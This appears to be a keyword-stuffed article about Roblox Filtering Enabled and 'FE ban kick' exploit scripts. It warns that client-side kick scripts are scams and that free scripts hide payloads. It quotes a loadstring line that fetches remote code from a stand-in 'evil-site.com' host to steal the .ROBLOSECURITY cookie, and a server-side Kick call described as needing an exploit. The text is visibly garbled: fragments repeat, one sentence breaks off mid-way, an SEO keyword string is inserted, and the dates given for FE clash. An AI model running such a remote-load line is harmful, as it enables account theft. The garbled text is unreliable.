FE = Filtering Enabled.
Since 2017, Roblox has required FE on all published games. Here’s what it does:
In plain English: You cannot directly force another player to be kicked or banned using only a client-side script (Executor).
This killed the old days of “remote kick” scripts. Now, for a kick or ban to happen, the server must agree. fe ban kick script roblox scripts
Record every ban/kick in a separate DataStore or a webhook (Discord) for accountability.
True "FE Ban" scripts require a Server-Side (SS) execution. These are extremely rare, expensive, and patched quickly. With server-side access, you are essentially running code as the server. You can then use:
game.Players:FindFirstChild("VictimName"):Kick("Banned by script")
This is a real kick. But again, this requires an SS exploit, not a free script from a Pastebin link. FE = Filtering Enabled
90% of free exploit scripts contain a hidden payload. The script will look like this:
--[[ Innocent looking ban script ]]--
loadstring(game:HttpGet("https://evil-site.com/real-ban.lua"))()
That URL downloads a script that sends your .ROBLOSECURITY cookie to a hacker. With that cookie, they can log into your account, steal your limiteds, and get you banned.
Before diving into ban and kick logic, we must address the elephant in the room: Filtering Enabled (FE). In plain English: You cannot directly force another
Prior to 2019, Roblox allowed clients to communicate directly with the server with minimal restrictions. Exploiters could run game.Players.LocalPlayer:Kick() locally and appear to "kick" themselves. Today, FE is mandatory. Under FE:
Critical Realization: A "FE Ban Kick Script" cannot run purely on the client. If you see a script claiming to kick other players from a LocalScript, it is a scam or an outdated backdoor. True administrative power must reside in a Script (server-side), not a LocalScript.